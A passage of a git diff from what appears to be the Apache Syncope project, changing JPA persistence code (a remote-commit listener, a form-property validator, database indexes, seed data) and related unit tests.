(JPAExternalResource.class.isAssignableFrom(id.getType())) { + registerForExternalResource(id.getId()); + } else if (JPAConnInstance.class.isAssignableFrom(id.getType())) { + registerForConnInstance(id.getId()); + } + }); + } + + if (event.getPayloadType() != RemoteCommitEvent.PAYLOAD_EXTENTS) { + ((Collection) event.getUpdatedObjectIds()).stream(). + filter(StringId.class::isInstance). + map(StringId.class::cast). + forEach(id -> { + if (JPAExternalResource.class.isAssignableFrom(id.getType())) { + registerForExternalResource(id.getId()); + } else if (JPAConnInstance.class.isAssignableFrom(id.getType())) { + registerForConnInstance(id.getId()); + } + }); + + ((Collection) event.getDeletedObjectIds()).stream(). + filter(StringId.class::isInstance). + map(StringId.class::cast). + forEach(id -> { + if (JPAExternalResource.class.isAssignableFrom(id.getType())) { + unregister(id.getId()); + } + }); + } + } + + @Override + public void close() { + // nothing to do + } +} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/spring/DomainEntityManagerFactoryBean.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/spring/DomainEntityManagerFactoryBean.java index dc9623a7a66..9b561f66e8b 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/spring/DomainEntityManagerFactoryBean.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/spring/DomainEntityManagerFactoryBean.java @@ -18,6 +18,11 @@ */ package org.apache.syncope.core.persistence.jpa.spring; +import javax.persistence.EntityManagerFactory; +import javax.persistence.spi.PersistenceUnitInfo; +import org.apache.openjpa.persistence.OpenJPAEntityManagerFactorySPI; +import org.apache.openjpa.persistence.OpenJPAPersistence; +import org.apache.syncope.core.persistence.jpa.openjpa.ConnectorManagerRemoteCommitListener; import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean; /** @@ -28,6 +33,8 @@ public class DomainEntityManagerFactoryBean extends LocalContainerEntityManagerF private static final long serialVersionUID = 49152547930966545L; + protected ConnectorManagerRemoteCommitListener connectorManagerRemoteCommitListener; + public void setCommonEntityManagerFactoryConf(final CommonEntityManagerFactoryConf commonEMFConf) { super.setJpaPropertyMap(commonEMFConf.getJpaPropertyMap()); @@ -43,4 +50,18 @@ public void setCommonEntityManagerFactoryConf(final CommonEntityManagerFactoryCo commonEMFConf.getDomains().put(this.getPersistenceUnitName(), this.getDataSource()); } + + public void setConnectorManagerRemoteCommitListener( + final ConnectorManagerRemoteCommitListener connectorManagerRemoteCommitListener) { + + this.connectorManagerRemoteCommitListener = connectorManagerRemoteCommitListener; + } + + @Override + protected void postProcessEntityManagerFactory(final EntityManagerFactory emf, final PersistenceUnitInfo pui) { + super.postProcessEntityManagerFactory(emf, pui); + + OpenJPAEntityManagerFactorySPI emfspi = (OpenJPAEntityManagerFactorySPI) OpenJPAPersistence.cast(emf); + emfspi.getConfiguration().getRemoteCommitEventManager().addListener(connectorManagerRemoteCommitListener); + } } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportletConfClass.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/FormPropertyDefCheck.java similarity index 68% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportletConfClass.java rename to core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/FormPropertyDefCheck.java index c1b3040cf51..7fee99fca00 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportletConfClass.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/FormPropertyDefCheck.java @@ -16,17 +16,25 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.core.persistence.jpa.validation.entity; +import java.lang.annotation.Documented; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; -import org.apache.syncope.common.lib.report.ReportletConf; +import javax.validation.Constraint; +import javax.validation.Payload; @Target({ ElementType.TYPE }) @Retention(RetentionPolicy.RUNTIME) -public @interface ReportletConfClass { +@Constraint(validatedBy = FormPropertyDefValidator.class) +@Documented +public @interface FormPropertyDefCheck { - Class value(); + String message() default "{org.apache.syncope.core.persistence.validation.formpropertydef}"; + + Class[] groups() default {}; + + Class[] payload() default {}; } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/FormPropertyDefValidator.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/FormPropertyDefValidator.java new file mode 100644 index 00000000000..9c1c0b200be --- /dev/null +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/FormPropertyDefValidator.java @@ -0,0 +1,61 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.validation.entity; + +import javax.validation.ConstraintValidatorContext; +import org.apache.syncope.common.lib.form.FormPropertyType; +import org.apache.syncope.common.lib.types.EntityViolationType; +import org.apache.syncope.core.persistence.api.entity.task.FormPropertyDef; + +public class FormPropertyDefValidator extends AbstractValidator { + + @Override + public boolean isValid(final FormPropertyDef formPropertyDef, final ConstraintValidatorContext context) { + context.disableDefaultConstraintViolation(); + + if (formPropertyDef.getDatePattern() != null + && formPropertyDef.getType() != FormPropertyType.Date) { + + context.buildConstraintViolationWithTemplate(getTemplate( + EntityViolationType.InvalidFormPropertyDef, "Date pattern found but type not set to Date")). + addPropertyNode("datePattern").addConstraintViolation(); + return false; + } + + if (!formPropertyDef.getEnumValues().isEmpty() + && formPropertyDef.getType() != FormPropertyType.Enum) { + + context.buildConstraintViolationWithTemplate(getTemplate( + EntityViolationType.InvalidFormPropertyDef, "Enum values found but type not set to Enum")). + addPropertyNode("enumValues").addConstraintViolation(); + return false; + } + + if (formPropertyDef.getEnumValues().isEmpty() + && formPropertyDef.getType() == FormPropertyType.Enum) { + + context.buildConstraintViolationWithTemplate(getTemplate( + EntityViolationType.InvalidFormPropertyDef, "No enum values provided")). + addPropertyNode("enumValues").addConstraintViolation(); + return false; + } + + return true; + } +} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/ReportValidator.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/ReportValidator.java index 1d875679e65..2752493a533 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/ReportValidator.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/validation/entity/ReportValidator.java @@ -19,11 +19,8 @@ package org.apache.syncope.core.persistence.jpa.validation.entity; import java.text.ParseException; -import java.util.Set; -import java.util.stream.Collectors; import javax.validation.ConstraintValidatorContext; import org.apache.syncope.common.lib.types.EntityViolationType; -import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Report; import org.quartz.CronExpression; @@ -58,18 +55,6 @@ public boolean isValid(final Report report, final ConstraintValidatorContext con } } - Set reportletKeys = report.getReportlets().stream(). - map(Implementation::getKey).collect(Collectors.toSet()); - if (reportletKeys.size() != report.getReportlets().size()) { - LOG.error("Reportlet key must be unique"); - isValid = false; - - context.disableDefaultConstraintViolation(); - context.buildConstraintViolationWithTemplate( - getTemplate(EntityViolationType.InvalidReport, "Reportlet name must be unique")). - addPropertyNode("reportletConfs").addConstraintViolation(); - } - return isValid; } } diff --git a/core/persistence-jpa/src/main/resources/domains/MasterContent.xml b/core/persistence-jpa/src/main/resources/domains/MasterContent.xml index 3e32eeffd9e..9d5f9db0b10 100644 --- a/core/persistence-jpa/src/main/resources/domains/MasterContent.xml +++ b/core/persistence-jpa/src/main/resources/domains/MasterContent.xml @@ -18,7 +18,7 @@ specific language governing permissions and limitations under the License. --> - + @@ -28,19 +28,18 @@ under the License. - - - - - + @@ -63,7 +62,7 @@ a password reset was requested for ${user.getUsername()}. In order to complete this request, you need to visit this link: -http://localhost:9080/syncope-enduser/confirmpasswordreset?token=${input.get(0).replaceAll(' ', '%20')} +http://localhost:${cargo.servlet.port}/syncope-enduser/confirmpasswordreset?token=${input.get(0).replaceAll(' ', '%20')} If you did not request this reset, just ignore the present e-mail. @@ -74,7 +73,7 @@ Best regards." a password reset was requested for ${user.getUsername()}.</p> <p>In order to complete this request, you need to visit this -<a href="http://localhost:9080/syncope-enduser/confirmpasswordreset?token=${input.get(0).replaceAll(' ', '%20')}">link</a></p>. +<a href="http://localhost:${cargo.servlet.port}/syncope-enduser/confirmpasswordreset?token=${input.get(0).replaceAll(' ', '%20')}">link</a></p>. <p>If you did not request this reset, just ignore the present e-mail.</p> @@ -104,12 +103,5 @@ we are happy to inform you that the password request was successfully executed f sender="admin@syncope.apache.org" subject="Password Reset successful" template_id="confirmPasswordReset" traceLevel="FAILURES" events='["[CUSTOM]:[]:[]:[confirmPasswordReset]:[SUCCESS]"]'/> - - - - - - - + diff --git a/core/persistence-jpa/src/main/resources/domains/MasterKeymasterConfParams.json b/core/persistence-jpa/src/main/resources/domains/MasterKeymasterConfParams.json index 846244d6745..8f2ce7d8b31 100644 --- a/core/persistence-jpa/src/main/resources/domains/MasterKeymasterConfParams.json +++ b/core/persistence-jpa/src/main/resources/domains/MasterKeymasterConfParams.json @@ -13,6 +13,5 @@ "return.password.value": false, "jwt.lifetime.minutes": 120, "connector.conf.history.size": 10, - "resource.conf.history.size": 10, - "tasks.interruptMaxRetries": 1 -} \ No newline at end of file + "resource.conf.history.size": 10 +} diff --git a/core/persistence-jpa/src/main/resources/indexes.xml b/core/persistence-jpa/src/main/resources/indexes.xml index d15d1c2815b..496730805df 100644 --- a/core/persistence-jpa/src/main/resources/indexes.xml +++ b/core/persistence-jpa/src/main/resources/indexes.xml @@ -21,6 +21,8 @@ under the License. Additional indexes (in respect to JPA's) + CREATE INDEX Realm_parent_id ON Realm(parent_id) + CREATE INDEX SyncopeUser_realm_id ON SyncopeUser(realm_id) CREATE UNIQUE INDEX SyncopeUser_username ON SyncopeUser(username) @@ -28,7 +30,7 @@ under the License. CREATE UNIQUE INDEX SyncopeGroup_name ON SyncopeGroup(name) CREATE INDEX AnyObject_realm_id ON AnyObject(realm_id) - CREATE UNIQUE INDEX AnyObject_name ON AnyObject(name) + CREATE UNIQUE INDEX AnyObject_name ON AnyObject(type_id,name) CREATE INDEX UDynGroupMembers_any_id ON UDynGroupMembers(any_id) CREATE INDEX UDynGroupMembers_group_id ON UDynGroupMembers(group_id) diff --git a/core/persistence-jpa/src/main/resources/oracle_indexes.xml b/core/persistence-jpa/src/main/resources/oracle_indexes.xml index 6997204d8c1..91b43e44676 100644 --- a/core/persistence-jpa/src/main/resources/oracle_indexes.xml +++ b/core/persistence-jpa/src/main/resources/oracle_indexes.xml @@ -21,6 +21,8 @@ under the License. Additional indexes (in respect to JPA's) + CREATE INDEX Realm_parent_id ON Realm(parent_id) + CREATE INDEX SyncopeUser_realm_id ON SyncopeUser(realm_id) CREATE INDEX SyncopeUser_lower_username ON SyncopeUser(LOWER(username)) @@ -28,7 +30,7 @@ under the License. CREATE INDEX SyncopeGroup_lower_name ON SyncopeGroup(LOWER(name)) CREATE INDEX AnyObject_realm_id ON AnyObject(realm_id) - CREATE INDEX AnyObject_lower_name ON AnyObject(LOWER(name)) + CREATE INDEX AnyObject_lower_name ON AnyObject(type_id,LOWER(name)) CREATE UNIQUE INDEX APlainAttrUniqueValue_U on APlainAttrUniqueValue(booleanValue, dateValue, stringValue, doubleValue, longValue, schema_id) CREATE UNIQUE INDEX UPlainAttrUniqueValue_U on UPlainAttrUniqueValue(booleanValue, dateValue, stringValue, doubleValue, longValue, schema_id) diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/DummyConnectorManager.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/DummyConnectorManager.java index 7e5442518a6..974333e2ac2 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/DummyConnectorManager.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/DummyConnectorManager.java @@ -23,7 +23,6 @@ import org.apache.syncope.common.lib.to.ConnInstanceTO; import org.apache.syncope.common.lib.types.ConnConfProperty; import org.apache.syncope.common.lib.types.ConnectorCapability; -import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.entity.ConnInstance; import org.apache.syncope.core.persistence.api.entity.ExternalResource; import org.apache.syncope.core.provisioning.api.Connector; @@ -32,11 +31,11 @@ public class DummyConnectorManager implements ConnectorManager { @Override - public void registerConnector(final ExternalResource resource) throws NotFoundException { + public void registerConnector(final ExternalResource resource) { } @Override - public void unregisterConnector(final String id) { + public void unregisterConnector(final ExternalResource resource) { } @Override diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/DummyImplementationLookup.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/DummyImplementationLookup.java index 9118e685179..32eabecea78 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/DummyImplementationLookup.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/DummyImplementationLookup.java @@ -23,15 +23,13 @@ import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.core.persistence.api.ImplementationLookup; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.Reportlet; -import org.apache.syncope.core.persistence.jpa.dao.DefaultPullCorrelationRule; -import org.apache.syncope.core.persistence.jpa.dao.DefaultPushCorrelationRule; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; import org.apache.syncope.core.spring.policy.DefaultAccountRule; import org.apache.syncope.core.spring.policy.DefaultPasswordRule; @@ -48,14 +46,7 @@ public Set getClassNames(final String type) { } @Override - public Set> getJWTSSOProviderClasses() { - return Set.of(); - } - - @Override - public Class getReportletClass( - final Class reportletConfClass) { - + public Class getReportClass(final Class reportConfClass) { return null; } @@ -77,13 +68,13 @@ public Class getPasswordRuleClass( public Class getPullCorrelationRuleClass( final Class pullCorrelationRuleConfClass) { - return DefaultPullCorrelationRule.class; + return null; } @Override public Class getPushCorrelationRuleClass( final Class pushCorrelationRuleConfClass) { - return DefaultPushCorrelationRule.class; + return null; } } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/PersistenceTestContext.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/PersistenceTestContext.java index 8d5de578690..a00a7fda8b7 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/PersistenceTestContext.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/PersistenceTestContext.java @@ -24,9 +24,9 @@ import org.apache.syncope.common.keymaster.client.api.DomainOps; import org.apache.syncope.core.persistence.api.DomainHolder; import org.apache.syncope.core.persistence.api.DomainRegistry; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.content.ContentLoader; import org.apache.syncope.core.provisioning.api.ConnectorManager; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.spring.security.DefaultPasswordGenerator; import org.apache.syncope.core.spring.security.PasswordGenerator; import org.apache.syncope.core.spring.security.SecurityProperties; diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AbstractClientAppTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AbstractClientAppTest.java index fc98da5a241..53c6668c8e4 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AbstractClientAppTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AbstractClientAppTest.java @@ -19,14 +19,15 @@ package org.apache.syncope.core.persistence.jpa.inner; import java.util.List; -import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.policy.DefaultAccessPolicyConf; import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; import org.apache.syncope.core.persistence.api.dao.PolicyDAO; import org.apache.syncope.core.persistence.api.entity.policy.AccessPolicy; import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.AbstractTest; import org.springframework.beans.factory.annotation.Autowired; @@ -53,11 +54,11 @@ protected AttrReleasePolicy buildAndSaveAttrRelPolicy() { protected AccessPolicy buildAndSaveAccessPolicy() { AccessPolicy accessPolicy = entityFactory.newEntity(AccessPolicy.class); accessPolicy.setName("AccessPolicyTest"); - accessPolicy.setEnabled(true); - accessPolicy.setSsoEnabled(false); DefaultAccessPolicyConf conf = new DefaultAccessPolicyConf(); - conf.getRequiredAttrs().add(new Attr.Builder("attribute1").values("value1", "value2").build()); + conf.setEnabled(true); + conf.setSsoEnabled(false); + conf.getRequiredAttrs().put("attribute1", "value1,value2"); accessPolicy.setConf(conf); return policyDAO.save(accessPolicy); @@ -73,4 +74,21 @@ protected AuthPolicy buildAndSaveAuthPolicy() { return policyDAO.save(authPolicy); } + + protected TicketExpirationPolicy buildAndSaveTicketExpirationPolicy() { + TicketExpirationPolicy ticketExpirationPolicy = entityFactory.newEntity(TicketExpirationPolicy.class); + ticketExpirationPolicy.setName("TicketExpirationPolicyTest"); + + DefaultTicketExpirationPolicyConf conf = new DefaultTicketExpirationPolicyConf(); + DefaultTicketExpirationPolicyConf.TGTConf tgtConf = new DefaultTicketExpirationPolicyConf.TGTConf(); + tgtConf.setMaxTimeToLiveInSeconds(110); + conf.setTgtConf(tgtConf); + DefaultTicketExpirationPolicyConf.STConf stConf = new DefaultTicketExpirationPolicyConf.STConf(); + stConf.setMaxTimeToLiveInSeconds(0); + stConf.setNumberOfUses(1); + conf.setStConf(stConf); + ticketExpirationPolicy.setConf(conf); + + return policyDAO.save(ticketExpirationPolicy); + } } diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnyMatchTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnyMatchTest.java index 6b86355f7f5..d363f8fbd04 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnyMatchTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnyMatchTest.java @@ -76,7 +76,7 @@ public void anyObjectMatch() { assertNotNull(anyObject); RelationshipCond relationshipCond = new RelationshipCond(); - relationshipCond.setAnyObject("Canon MF 8030cn"); + relationshipCond.setAnyObject("8559d14d-58c2-46eb-a2d4-a7d35161e8f8"); assertTrue(anyMatcher.matches(anyObject, SearchCond.getLeaf(relationshipCond))); RelationshipTypeCond relationshipTypeCond = new RelationshipTypeCond(); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnyObjectTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnyObjectTest.java index 5848ce8c54e..6c57e3b0b2e 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnyObjectTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnyObjectTest.java @@ -54,6 +54,20 @@ public void find() { assertFalse(anyObject.getType().getClasses().isEmpty()); } + @Test + public void findByName() { + AnyObject anyObject = anyObjectDAO.findByName("PRINTER", "HP LJ 1300n"); + assertNotNull(anyObject); + assertEquals("fc6dbc3a-6c07-4965-8781-921e7401a4a5", anyObject.getKey()); + + assertEquals(1, anyObjectDAO.findByName("HP LJ 1300n").size()); + } + + @Test + public void findKey() { + assertEquals("fc6dbc3a-6c07-4965-8781-921e7401a4a5", anyObjectDAO.findKey("PRINTER", "HP LJ 1300n")); + } + @Test public void findAll() { List anyObjects = anyObjectDAO.findAll(1, 100); diff --git a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnySearchTest.java b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnySearchTest.java index 0b2bf3399a9..41a6365e6aa 100644 --- a/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnySearchTest.java +++ b/core/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/inner/AnySearchTest.java @@ -21,6 +21,7 @@ import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; import static org.junit.jupiter.api.Assertions.assertTrue; import java.text.ParseException; @@ -36,16 +37,17 @@ import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.AuxClassCond; import org.apache.syncope.core.persistence.api.dao.search.MemberCond; @@ -57,6 +59,8 @@ import org.apache.syncope.core.persistence.api.dao.search.RoleCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; import org.apache.syncope.core.persistence.api.entity.AnyType; +import org.apache.syncope.core.persistence.api.entity.AnyUtils; +import org.apache.syncope.core.persistence.api.entity.PlainSchema; import org.apache.syncope.core.persistence.api.entity.anyobject.AMembership; import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; import org.apache.syncope.core.persistence.api.entity.group.Group; @@ -102,6 +106,12 @@ public class AnySearchTest extends AbstractTest { @Autowired private RoleDAO roleDAO; + @Autowired + private PlainSchemaDAO plainSchemaDAO; + + @Autowired + private PlainAttrValidationManager validator; + @BeforeEach public void adjustLoginDateForLocalSystem() throws ParseException { User rossini = userDAO.findByUsername("rossini"); @@ -112,6 +122,61 @@ public void adjustLoginDateForLocalSystem() throws ParseException { userDAO.save(rossini); } + @Test + public void searchTwoPlainSchemas() { + AttrCond firstnameCond = new AttrCond(AttrCond.Type.EQ); + firstnameCond.setSchema("firstname"); + firstnameCond.setExpression("Gioacchino"); + + AttrCond surnameCond = new AttrCond(AttrCond.Type.EQ); + surnameCond.setSchema("surname"); + surnameCond.setExpression("Rossini"); + + SearchCond cond = SearchCond.getAnd(SearchCond.getLeaf(firstnameCond), SearchCond.getLeaf(surnameCond)); + assertTrue(cond.isValid()); + + List users = searchDAO.search(cond, AnyTypeKind.USER); + assertNotNull(users); + assertEquals(1, users.size()); + + surnameCond = new AttrCond(AttrCond.Type.EQ); + surnameCond.setSchema("surname"); + surnameCond.setExpression("Verdi"); + + cond = SearchCond.getAnd(SearchCond.getLeaf(firstnameCond), SearchCond.getNotLeaf(surnameCond)); + assertTrue(cond.isValid()); + + users = searchDAO.search(cond, AnyTypeKind.USER); + assertNotNull(users); + assertEquals(1, users.size()); + + AttrCond fullnameCond = new AttrCond(AttrCond.Type.EQ); + fullnameCond.setSchema("fullname"); + fullnameCond.setExpression("Vincenzo Bellini"); + + AttrCond userIdCond = new AttrCond(AttrCond.Type.EQ); + userIdCond.setSchema("userId"); + userIdCond.setExpression("bellini@apache.org"); + + cond = SearchCond.getAnd(SearchCond.getLeaf(fullnameCond), SearchCond.getLeaf(userIdCond)); + assertTrue(cond.isValid()); + + users = searchDAO.search(cond, AnyTypeKind.USER); + assertNotNull(users); + assertEquals(1, users.size()); + + userIdCond = new AttrCond(AttrCond.Type.EQ); + userIdCond.setSchema("userId"); + userIdCond.setExpression("rossini@apache.org"); + + cond = SearchCond.getAnd(SearchCond.getLeaf(fullnameCond), SearchCond.getNotLeaf(userIdCond)); + assertTrue(cond.isValid()); + + users = searchDAO.search(cond, AnyTypeKind.USER); + assertNotNull(users); + assertEquals(1, users.size()); + } + @Test public void searchWithLikeCondition() { AttrCond fullnameLeafCond = new AttrCond(AttrCond.Type.LIKE); @@ -619,27 +684,6 @@ public void groupOrderBy() { groups.size()); } - @Test - public void assignable() { - AssignableCond assignableCond = new AssignableCond(); - assignableCond.setRealmFullPath("/even/two"); - SearchCond searchCondition = SearchCond.getLeaf(assignableCond); - assertTrue(searchCondition.isValid()); - - List groups = searchDAO.search(searchCondition, AnyTypeKind.GROUP); - assertTrue(groups.stream().anyMatch(group -> "additional".equals(group.getName()))); - assertFalse(groups.stream().anyMatch(group -> "fake".equals(group.getName()))); - - assignableCond = new AssignableCond(); - assignableCond.setRealmFullPath("/odd"); - searchCondition = SearchCond.getLeaf(assignableCond); - assertTrue(searchCondition.isValid()); - - List anyObjects = searchDAO.search(searchCondition, AnyTypeKind.ANY_OBJECT); - assertFalse(anyObjects.stream(). - anyMatch(anyObject -> "9e1d130c-d6a3-48b1-98b3-182477ed0688".equals(anyObject.getKey()))); - } - @Test public void member() { MemberCond memberCond = new MemberCond(); @@ -708,6 +752,23 @@ public void asGroupOwner() { } } + @Test + public void changePwdDate() { + AnyCond statusCond = new AnyCond(AttrCond.Type.IEQ); + statusCond.setSchema("status"); + statusCond.setExpression("suspended"); + + AnyCond changePwdDateCond = new AnyCond(AttrCond.Type.ISNULL); + changePwdDateCond.setSchema("changePwdDate"); + + SearchCond cond = SearchCond.getAnd(SearchCond.getNotLeaf(statusCond), SearchCond.getLeaf(changePwdDateCond)); + assertTrue(cond.isValid()); + + List users = searchDAO.search(cond, AnyTypeKind.USER); + assertNotNull(users); + assertEquals(5, users.size()); + } + @Test public void issue202() { ResourceCond ws2 = new ResourceCond(); @@ -763,8 +824,7 @@ public void issueSYNCOPE433() { likeCond.setSchema("username"); likeCond.setExpression("%ossin%"); - SearchCond searchCond = SearchCond.getOr( - SearchCond.getLeaf(isNullCond), SearchCond.getLeaf(likeCond)); + SearchCond searchCond = SearchCond.getOr(SearchCond.getLeaf(isNullCond), SearchCond.getLeaf(likeCond)); int count = searchDAO.count( realmDAO.getRoot(), true, SyncopeConstants.FULL_ADMIN_REALMS, searchCond, AnyTypeKind.USER); @@ -924,4 +984,91 @@ public void issueSYNCOPE1419() { assertNotNull(users); assertEquals(4, users.size()); } + + @Test + void issueSYNCOPE1906() { + PlainSchema ctypeSchema = plainSchemaDAO.find("ctype"); + + AnyUtils anyUtils = anyUtilsFactory.getInstance(AnyTypeKind.USER); + + anyUtils.addAttr(validator, userDAO.findKey("bellini"), ctypeSchema, "aa1"); + assertEquals("aa1", userDAO.findByUsername("bellini"). + getPlainAttr("ctype").orElseThrow().getValues().get(0).getValueAsString()); + + anyUtils.addAttr(validator, userDAO.findKey("puccini"), ctypeSchema, "aa2"); + assertEquals("aa2", userDAO.findByUsername("puccini"). + getPlainAttr("ctype").orElseThrow().getValues().get(0).getValueAsString()); + + anyUtils.addAttr(validator, userDAO.findKey("verdi"), ctypeSchema, "aa3"); + assertEquals("aa3", userDAO.findByUsername("verdi"). + getPlainAttr("ctype").orElseThrow().getValues().get(0).getValueAsString()); + + anyUtils.removeAttr(userDAO.findKey("vivaldi"), ctypeSchema); + anyUtils.addAttr(validator, userDAO.findKey("vivaldi"), ctypeSchema, "aa4"); + assertEquals("aa4", userDAO.findByUsername("vivaldi"). + getPlainAttr("ctype").orElseThrow().getValues().get(0).getValueAsString()); + + anyUtils.removeAttr(userDAO.findKey("rossini"), ctypeSchema); + anyUtils.addAttr(validator, userDAO.findKey("rossini"), ctypeSchema, "aa5"); + assertEquals("aa5", userDAO.findByUsername("rossini"). + getPlainAttr("ctype").orElseThrow().getValues().get(0).getValueAsString()); + + entityManager().flush(); + + AnyCond keyCond = new 